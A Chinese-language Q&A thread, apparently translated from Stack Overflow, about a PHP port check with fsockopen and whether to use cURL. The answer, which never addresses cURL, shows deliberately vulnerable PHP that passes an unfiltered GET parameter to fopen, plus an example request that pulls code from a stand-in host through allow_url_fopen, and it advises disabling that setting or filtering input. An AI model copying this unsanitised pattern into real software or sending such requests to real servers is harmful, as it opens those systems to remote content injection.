大家好我有一些代码正在通过foreach循环运行:
if($fp = @fsockopen($value['privateip'],1935,$errCode,$errStr,.5)){
$value['alive'] = 'alive';
} else {
$value['alive'] = 'down';
}
@fclose($fp);
它基本上将我的服务器ping到端口1935,然后更改数组中的值。我已经读过php的文件函数是危险的,如果代码注入发生所以他们可能会更好的禁用。如何更改此代码以改为使用cURL?
答案 0 :(得分:0)
看一下这段代码:
<?php
$filename = @$_GET['filename'];
$fp = fopen($filename,'r');
$buffer = '';
while (!feof($fp)) {
$buffer .= fgets($fp,2048);
}
fclose($fp);
$fp = fopen('something_very_important_data.txt','a');
fwrite($fp,$buffer);
fclose($fp);
当您收到请求时,例如:
http://www.yourserver.com/your_script.php?filename=http%3A%2F%2Fdangerous.com%2Fdangerous_code.txt
$filename
值将如下:
$filename = 'http://dangerous.com/dangerous_code.txt';
如果设置了allow_url_fopen
,则可以使用
你可能知道,这是非常危险的
要防止出现此问题,请关闭allow_url_fopen
,或完全过滤$_GET
,$_POST
等。